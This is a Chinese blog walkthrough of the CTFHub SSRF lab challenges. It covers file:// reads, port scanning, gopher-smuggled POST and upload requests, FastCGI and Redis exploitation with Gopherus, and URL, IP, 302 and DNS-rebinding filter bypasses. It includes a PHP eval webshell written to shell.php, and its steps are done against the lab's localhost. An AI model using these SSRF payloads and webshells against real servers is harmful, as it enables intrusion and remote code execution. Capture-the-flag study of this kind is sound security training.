CTFHub-web-ssrf篇通关攻略

一.(内网访问 伪协议读取文件 端口扫描)

1.内网访问

根据提示输入http://127.0.0.1/flag.php访问flag文件得到flag

2.伪协议读取文件

(1).系统提示输入web目录下的flag文件,使用file协议。

file:///var/www/html/flag

发现页面没有显示flag

(2).查看页面源代码,得到flag

3.端口扫描

(1).根据提示目标端口在8000-9000之间,因此输入http://127.0.0.1:8000

(2).使用bp工具抓包并发送到攻击器,将端口范围设置到8000-9000开始攻击。

(3).得到正确端口为,访问?url=http://127.0.0.1:8594,得到flag。

二.(post 上传文件 FastCGL协议 Redis协议)

1.post

(1).访问http://127.0.0.1/flag.php,出现如下界面。

(2).查看页面源代码发现key值。

(3).将key值输入填写框内,对此页面进行抓包。

(4).在post前添加gopher://127.0.0.1:80/_并删除多余数据和空行。

(5).对此数据包进行URL编码。

(6).复制到文本中,将所有%0a替换为%0d%0a,并在结尾添加%0d%0a

(7).对编辑后的文本进行二次URL编码,并复制到网页中。

(8).并将gopher之后和80之前的'%253A'替换为':',然后访问,出现如下页面,得到flag。

2.上传文件

(1).访问http://127.0.0.1/flag.php,出现如下界面。

(2).发现页面只有‘浏览’选项,因此输入<input type="submit" name="submit">,创建一个提交按钮。

(3).新建一个1.php文件,其中输入木马<?php @eval($_POST["cmd"]);?>,并在该页面提交1.php文件并抓包该页面。

(4).在post表头前添加 gopher://127.0.0.1:80/_并删除多余数据

注意post后加空格。

(5).将数据进行URL编码并复制。

(6).将编码后的数据复制到一个新的文本文档,并将%0a全部替换为%0d%0a。

(7).将文本文档中的数据进行二次编码。

(8).将二次编码后的数据复制到如下界面,并将gopher之后和80之前的'%253A'替换为':',然后访问,出现如下页面,得到flag。

3.FastCGL协议

(1).进入关卡,访问index.php,发现存在这个页面。

(2).输入python2 gopherus.py --exploit fastcgi,出现如下页面。

(3).对一句话木马<?php @eval($_POST["cmd"]);?>进行编码。

(4).根据提示输入相关信息

/var/www/html/index.php

echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php

(5).将生成的数据进行URL编码。

(6).将编码后的数据带到页面中访问。

(7).在页面中访问shell.php确定其绝对路径,然后使用蚁剑连接。

(8).最后得到flag。

4.Redis协议

(1)进入关卡。

(2)使用kali虚拟机输入python2 gopherus.py --exploit redis,选择如图选项,生成编码。

(3)对生成的数据进行URL编码

(4)访问上传的shell.php文件。

(5)使用蚁剑连接得到flag。

三.(URL Bypass     数字IP Bypass    302跳转Bypass    DNS重绑定Bypass)

1.URL Bypass

(1)网址必须以http://notfound.ctfhub.com开头。

(2)我们需要使用@将用户和主机连接起来,因此输入http://notfound.ctfhub.com@127.0.0.1/flag.php得到flag

2.数字IP Bypass

输入http://localhost/flag.php得到flag

3.302跳转Bypass

(1) 输入http://127.0.01/flag.php 发现被ban掉了。

(2)输入http://localhost/flag.php得到flag。

4.DNS重绑定Bypass

(1) 输入http://localhost/flag.php 发现被ban掉了。

(2)因此我们需要凑一个本机地址,访问https://lock.cmpxchg8b.com/rebinder.html。

(3)使用凑出来的地址代替本机地址,得到flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值